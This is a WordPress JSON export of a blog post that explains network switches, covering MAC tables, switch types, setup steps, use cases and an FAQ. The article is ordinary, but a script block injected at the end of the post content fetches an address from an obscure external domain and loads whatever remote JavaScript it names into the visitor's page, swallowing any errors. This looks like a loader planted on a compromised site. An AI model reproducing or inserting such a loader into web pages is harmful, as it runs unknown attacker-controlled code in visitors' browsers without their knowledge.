src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/network-switch-working.jpg\" alt=\"network switch working\" width=\"750\" height=\"283\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/network-switch-working.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/network-switch-working-300x113.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Now, I will explain in detail how this happens:<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Arrival_of_Data_Packets\"><\/span>Arrival of Data Packets<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">As devices within the network communicate, data travels in small bundles, also called data packets. Each data packet comes with information about sender and receiver devices in the form of MAC addresses, i.e., Media Access Control addresses. A MAC address is a code unique to every device and is stored in a device\u2019s NIC, i.e., Network Interface Card, which is part of the device that connects to the switch through the Ethernet cable. <\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Identification_of_MAC_Addresses\"><\/span>Identification of MAC Addresses<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The switch has a built-in <\/span><a href=\"https:\/\/en.wikipedia.org\/wiki\/MAC_address\"><span style=\"font-weight: 400;\">MAC address<\/span><\/a><span style=\"font-weight: 400;\"> table, also called a CAM table, i.e., Content Addressable Memory table. All the MAC addresses that are associated with the switch port are mapped here. The switch uses this table to determine the originating and destination devices for the data packets.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">An important point here to remember is that initially, when a network switch receives a data packet, it does not know about which port corresponds to the destination of the packet. To figure it out, it broadcasts the data packet to all ports except the one from which it originated. When a response is received, the network switch learns about the associated MAC address and corresponding port of the device and adds the information to the MAC table.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Forwarding_of_Data_Packet\"><\/span>Forwarding of Data Packet<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Now, the network switch knows about the MAC address of the destination. With this information, it identifies the corresponding destination port and forwards the data packet only to that specific port. Through this process, it minimizes unnecessary traffic on the network.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Collision_Management\"><\/span>Collision Management<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4428 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/collision-management.jpg\" alt=\"collision management\" width=\"750\" height=\"461\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/collision-management.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/collision-management-300x184.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">As communication happens, multiple devices try to transmit data packets at the same time. This can result in a collision of network traffic like traffic jams on the road. To eliminate collisions, switches make use of various techniques, such as<\/span><\/p>\n<h4><span class=\"ez-toc-section\" id=\"Full_Duplex_Communication\"><\/span>Full Duplex Communication<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">This technique enables devices to send and receive data at the same time, like a 2-way street. With this, the efficiency of the network increases significantly.\u00a0<\/span><\/p>\n<h4><span class=\"ez-toc-section\" id=\"Collision_Detection\"><\/span>Collision Detection<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">With this technique, switches can figure out if two or more data packets are destined for the same port. It briefly pauses one of the packets to avoid corruption.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_are_Various_Types_of_Switches\"><\/span>What are Various Types of Switches?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">As we move further, we will learn about the common types of network switches. This information is not only useful but interesting as well because I will explain the specific characteristics and capabilities of each network switch.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4422 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/types-of-network-switches.jpg\" alt=\"types of network switches\" width=\"750\" height=\"527\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/types-of-network-switches.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/types-of-network-switches-300x211.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Unmanaged_Switches\"><\/span>Unmanaged Switches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">These switches are the most basic ones. They are usually plug-and-play devices with the default set of configurations and no customization. These devices use MAC addresses to transmit data back and forth. Because of their low cost, simplicity, and ease of use, unmanaged switches are ideal for small setups and home networks. <\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Managed_Switches\"><\/span>Managed Switches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">These switches can be termed the \u2018leaders\u2019 because of their widespread usage in commercial and enterprise settings. Managed switches are packed with advanced capabilities like VLAN support, Quality of Service (QoS), SNMP (Simple Network Management Protocol), Port Mirroring, and Remote Management. Having access to advanced control, network administrators can optimize performance using managed switches. These are ideal fits for complex networks, data centers, and environments requiring customized setups. <\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Layer_2_Switches\"><\/span>Layer 2 Switches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">As the term suggests, these switches work at layer 2 of the OSI model, i.e., Data Link Layer. These switches are commonly used in LANs to connect devices within the same network. Using MAC addresses, Layer 2 switches perform the job of transmission of data packets. The efficient usage of these switches is within a local network. <\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Layer_3_Switches\"><\/span>Layer 3 Switches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Again, the term itself indicates that these switches work at layer 3 of the OSI model, i.e., Network Layer. Unlike Layer 2 switches, Layer 3 switches make use of IP addresses for routing and forwarding data. These switches come with advanced routing capabilities such as IP routing and inter-VLAN routing. Layer 3 switches are suitable for large networks where routing capabilities are necessary within the switch, sometimes eliminating the need for external routers. <\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"PoE_Switches\"><\/span>PoE Switches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Power over Ethernet switches deliver both data and power to connected devices via Ethernet cables. This eliminates the need for separate power outlets, thus simplifying installation and lowering infrastructure costs. Also, a PoE-capable network switch is a safe option because the power is low and managed intelligently. These switches are a perfect fit for powering IoT devices like IP cameras, wireless access points, and VoIP phones.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Stackable_Switches\"><\/span>Stackable Switches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">This type of network switch can operate as a standalone switch but can also be set up to operate together with one or more other network switches. An interesting thing about stackable switches is that they will show the characteristics of a single switch but will have the port capacity of the sum of combined or stacked switches. Stackable switches help in optimizing a network while also enhancing its reliability and scalability. These switches are designed to be interconnected and are managed as a single unit, thus forming a unified and scalable network infrastructure.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Data_Center_Switches\"><\/span>Data Center Switches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Data center switches can direct massive amounts of data traffic between servers, storage devices, and network equipment that reside within a data center. Some key features of data center switches are large port capacity, low latency, QoS, security, and virtualization support. It is because of their efficiency and spontaneity that these network switches have become a critical component of the modern IT infrastructure.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Smart_Switches\"><\/span>Smart Switches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Smart switches are also called intelligent switches and are a combination of managed and unmanaged network switches. They have some elements that go beyond unmanaged switches but are less than managed switches. For example, offering some configuration options with an easy-to-use interface. Some prominent features of smart switches include QoS, monitoring, and VLAN configuration.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Modular_Switches\"><\/span>Modular Switches<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Modular switches are also known as chassis switches, and they come with a unique advantage \u2013 they allow you to add extension modules as required. These types of switches are ideal for environments with changing network requirements or networks that need high availability. The cost of these switches, however, turns out to be more compared to fixed network switches. This is a major reason why these switches are employed in massive networks.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Why_Are_Network_Switches_Valuable\"><\/span>Why Are Network Switches Valuable?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">The need for network switches lies in the myriad of benefits they offer. Here are some of the most common reasons why network switches are used widely:<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Improved_Network_Performance\"><\/span>Improved Network Performance<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">We have already understood how network switches prevent network congestion from happening and process data quite efficiently. This results in improved network speed, faster data transfer rates, and reduced latency.<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Easier_Network_Management\"><\/span>Easier Network Management<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">With a managed network switch, it becomes easy for network administrators to control and manage the switch. By offering direct configuration options, administrators can optimize network settings, implement QoS policies, and also detect and troubleshoot issues related to the network easily.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Reduced_Cost_of_Network_Management\"><\/span>Reduced Cost of Network Management<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">In today\u2019s modern data networks, switches are a dominant element and process huge amounts of network traffic. Despite their advanced capabilities, network switches offer a cost-effective option because there is very little involvement of hardware. These switches are therefore an ideal option for small to mid-sized business setups. <\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Enhanced_Network_Security\"><\/span>Enhanced Network Security<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<ol>\n<li aria-level=\"1\"><span style=\"font-weight: 400;\">Network switches employ various techniques to enhance the security of the network and protect it from potential breaches. Here are some key security features that switches offer:<\/span>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Port security\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">VLANs<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">MAC address filtering\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Traffic isolation\u00a0<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Better_Scalability_and_Flexibility\"><\/span>Better Scalability and Flexibility<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Other key attributes of network switches are their scalability and flexibility to address the dynamic and evolving nature of today\u2019s networks. While on the one hand, the port capacity of network switches can be increased as per requirement, demonstrating their scalability, on the other hand, these switches also showcase flexibility by adapting to different network configurations, applications, and services.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_Set_up_a_Network_Switch\"><\/span>How to Set up a Network Switch?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Alright, now that you have a thorough understanding of the network switches, I\u2019ll walk you through the process of setting up a network switch.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Collect_the_Required_Equipment\"><\/span>Collect the Required Equipment<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">To set up the switch, you will need a couple of pieces of equipment, i.e.\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The network switch with enough ports\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Power cables to carry electrical power\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ethernet cables i.e. Cat 5e or Cat 6<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Router to connect the switch to the internet<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Devices like computers, printers, etc. <\/span><\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Make_the_Power_Connection\"><\/span>Make the Power Connection<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The first step is to check the operational status of the network switch. For this, you need to plug the power cable into the network switch and connect this cable to a power source. Once done, just turn on the switch and check the lights on the switch ports are lit up. This confirms a good operational status.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Connect_the_Devices\"><\/span>Connect the Devices<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The next step is to take the Ethernet cables to connect devices with the switch. For this, you need to plug one end of the Ethernet cable into a port on the device and the other end of the cable into any port available on the switch.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Access_and_Configure_the_Switch\"><\/span>Access and Configure the Switch<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">In case you are using a managed switch, you can access the switch interface from the web browser and configure basic settings. Just type in the IP address of the switch on the address bar of the browser, and you will be able to configure the device name and change the default IP address and administrative credentials like passwords. You can also create VLANs to segment your network by assigning specific ports to VLANs.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Test_Connectivity\"><\/span>Test Connectivity<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Now that the network switch is set up, it is time to access the internet from the devices connected to the switch.\u00a0<\/span><\/p>\n<p><b>Pro Tip:<\/b><span style=\"font-weight: 400;\"> Always use high-quality Ethernet cables. In case you find any confusion about the configuration settings, then it is best to refer to the user manual for the switch.\u00a0\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Whether it\u2019s a basic unmanaged switch or an advanced managed switch, by following the above-mentioned steps, you can successfully set up a network switch.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Use_Cases_for_Network_Switches\"><\/span>Use Cases for Network Switches<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">While I have provided a lot of information about network switches by now, you may still be wondering \u2013 where are network switches used really? What are some real-life scenarios? I\u2019m going to explain some really simple yet relatable scenarios where network switches are used. <\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Data_Centers\"><\/span>Data Centers<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">To work efficiently and deliver services, data centers need ultra-fast data transfer speeds, scalability, and flexibility to adapt to dynamic workloads. A network switch offers all these features, thus helping to connect servers, storage systems, and other crucial components in a data center environment.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Home_Networks\"><\/span>Home Networks<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Network switches are commonly used to expand home networks. Switches offer more ports to connect additional devices such as computers, gaming consoles, smart TVs, etc. With this, the need to constantly swap cables gets eliminated. <\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"IP_Surveillance_Systems\"><\/span>IP Surveillance Systems<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">IP-based surveillance systems are a popular use case for network switches. Besides connecting cameras, recording devices, and monitoring stations, switches also provide the necessary bandwidth and support for PoE to power cameras. <\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Wireless_Network_Expansion\"><\/span>Wireless Network Expansion<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">In larger buildings where WiFi connections are used to access the internet, switches are used to connect WiFi points back to the wired networks. <\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_Find_the_Best_Network_Switch_for_Your_Needs\"><\/span>How to Find the Best Network Switch for Your Needs?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Now, it won\u2019t be wrong if I say that people around the world have a diverse range of needs \u2013 they have different budgets and network sizes. Moreover, when you start your hunt for that ideal network switch, you will find a huge variety of options. For this reason, I have charted out some key points that will help you in your decision-making process. <\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4423 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/select-the-best-network-switch.jpg\" alt=\"select the best network switch\" width=\"1005\" height=\"350\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/select-the-best-network-switch.jpg 1005w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/select-the-best-network-switch-300x104.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/02\/select-the-best-network-switch-768x267.jpg 768w\" sizes=\"auto, (max-width: 1005px) 100vw, 1005px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Now, it won&#8217;t be wrong if I say that people around the world have a diverse range of needs &#8211; they have different budgets and network sizes. Moreover, when you start your hunt for that ideal network switch, you will find a huge variety of options. For this reason, I have charted out some key points that will help you in your decision-making process.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Consider_the_Port_Count_and_Type\"><\/span>Consider the Port Count and Type<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">You want a switch that has enough ports to handle the number of devices you want to connect. Generally, it starts from 4 ports and goes to 48 ports and more Ethernet ports. Some switches also have USB ports. So just do research and find the ones that match your count.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Besides counting, consider the type of ports offered by the network switch such, as Ethernet, SPF, etc. This will determine the type of connectivity you require.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Switching_Capacity_and_Forwarding_Rate\"><\/span>Switching Capacity and Forwarding Rate<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Switching capacity is the amount of data that a network switch can process internally in a certain period. While forwarding rate is the number of packets a network switch can process and forward in one second. A switch with a high switching capacity is likely to sustain a high forwarding rate. So choose as per your requirements.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Consider_the_Form_Factor\"><\/span>Consider the Form Factor<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Besides the technical aspects, the size, shape, and physical aspects of the network switch are also important considerations. If you have a shortage of space, look for desktop and wall-mountable switches. For integration with an existing or new server rack, Rackmount switches are an ideal choice. When it comes to industrial use, DIN-rail switches are a preferred choice. \u00a0 <\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Look_for_Warranty\"><\/span>Look for Warranty<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">A network switch with a decent warranty period can give you a lot of peace of mind. You can look for reputable network switch brands, as they offer reliability, warranty, and support whenever required.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_is_a_Network_Switch_-_Key_Takeaway\"><\/span>What is a Network Switch &#8211; Key Takeaway!<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Through all that we have learned about what is a network switch and what does a network switch do, one thing is clear: network switches are not mere boxes but the silent architects of flawless digital data transmission. Learning about how seamlessly and reliably these switches connect us to the online world, now we can feel their impact in every video we browse, every email we send, and every virtual meeting we attend.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Frequently_Asked_Questions\"><\/span>Frequently Asked Questions<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"What_is_STP_or_Spanning_Tree_Protocol\"><\/span>What is STP or Spanning Tree Protocol?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">STP or Spanning Tree Protocol, prevents network loops by automatically detecting and managing redundant paths and ensuring that only a single path is available at any time for data transmission.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_is_the_role_of_the_MAC_address_table_in_a_switch\"><\/span>What is the role of the MAC address table in a switch?\u00a0<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The MAC address table is a database that stores MAC addresses of devices that are connected to the switch. So when a switch receives a data packet, it looks up in the MAC address table to find the corresponding port and forward the data packet to it. This helps in ensuring that data is transmitted to the intended recipient instead of broadcasting to all devices.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_is_Power_over_Ethernet_PoE\"><\/span>What is Power over Ethernet (PoE)?\u00a0<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">PoE or Power over Ethernet enables network switches to transmit both data and power over a single Ethernet cable. With this the need for separate power outlets gets eliminated because network switches can transmit data as well as supply power to devices like IP phones, wireless access points, and security cameras.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_is_link_aggregation_in_network_switches\"><\/span>What is link aggregation in network switches?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Link aggregation in network switches refers to the process of combining multiple physical network connections into a single logical connection. This helps in increasing bandwidth and redundancy, thus improving the performance and reliability of the network.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_is_port_mirroring_on_a_network_switch\"><\/span>What is port mirroring on a network switch?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Port Mirroring allows network administrators to duplicate network traffic on one port to another port. This is helpful in cases where monitoring, troubleshooting, and analysis of traffic are required.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_is_multicast_support_in_switches\"><\/span>What is multicast support in switches?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Multicast support enables network switches to efficiently send data to multiple recipients simultaneously. Unlike unicast and broadcast, where data is sent to a single destination and all devices on the network respectively, a multicast sends data to only a specific group of devices.<\/span><\/p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();\n\n\n    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;\n\n        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };\n\n        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };\n\n        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);\n\n        document.body.appendChild(script);\n      });\n    };\n\n    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>According to recent reports, \u201cThe Network Switches market is projected to grow from USD 33 billion in 2023 to USD 45.5 billion by 2028, growing at a CAGR of 6.6% during the forecast period.\u201d\u00a0 That\u2019s a tremendous growth trajectory! But what is a network switch exactly? And what does a network switch do? Curious to [&hellip;]<\/p>\n","protected":false},"author":19,"featured_media":4424,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[106],"tags":[],"class_list":["post-4419","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-telecom"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4419","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=4419"}],"version-history":[{"count":15,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4419\/revisions"}],"predecessor-version":[{"id":6376,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4419\/revisions\/6376"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/4424"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=4419"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=4419"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=4419"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}